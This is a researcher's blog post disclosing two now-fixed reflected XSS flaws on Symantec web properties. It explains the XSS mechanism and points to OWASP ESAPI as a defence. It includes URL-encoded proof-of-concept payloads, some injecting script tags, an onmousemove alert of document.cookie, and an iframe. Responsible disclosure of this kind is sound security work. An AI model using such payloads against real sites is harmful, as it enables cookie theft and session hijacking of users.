XSS vulnerabilities in Symantec websites

A couple of weeks ago, while doing some research for a paper I have been working on, I found two XSS vulnerabilities with the Symantec Learning Management System (symlms.symantec.com) and Enterprise Support Login Page (seer.entsupport.symantec.com). An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (,”,/> etc..). So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.

XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user’s browser using automated frameworks like BeEF and download and execute exploits on the victim’s computer.

On an average, it is easy to find XSS vulnerabilities on the Internet, but finding an XSS issue on a website that is owned and administered by a security services company is quite something. I reported both the vulnerabilities as soon as I discovered them and the security team at Symantec were quite appreciative and welcoming with my disclosures.

Now that both the issues have been fixed, here’s a finer look at the vulnerabilities:

1. XSS in the Symantec Learning Management System (symlms.symantec.com)
The page at https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp accepts client side input via the ‘ru’ hidden parameter and renders it back to the browser without sanitization.

An attack vector could be crafted on the lines of:

  • https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=a%27/%3E%3Ch1%20onmousemove=javascript:alert%28document.cookie%29%3ETEST%3C/h1%3E

  • https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=tester%27%3E%3Ciframe%20src=%22http://www.wikipedia.org%22%20width=600%20height=1000%3E%3C/iframe%3E


2. XSS in the Enterprise Support Login Page (seer.entsupport.symantec.com)
The page at http://seer.entsupport.symantec.com/downloads/export.asp accepts client side input via the ‘username’, ‘useremail’ and ‘userphone’ parameters and renders it back to the browser without sanitization.

An attack vector could be crafted on the lines of:

  • http://seer.entsupport.symantec.com/downloads/export.asp?username=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
  • http://seer.entsupport.symantec.com/downloads/export.asp?useremail=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
  • http://seer.entsupport.symantec.com/downloads/export.asp?userphone=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E


Input sanitization and output encoding user input can provide protection. There are several libraries that actually make it easier for developers to create web applications without worrying too much about threats like XSS. The OWASP ESAPI library is something that comes to my mind when I find XSS anywhere.

A couple of more interesting disclosures lined up for June. Till then Happy Hacking!

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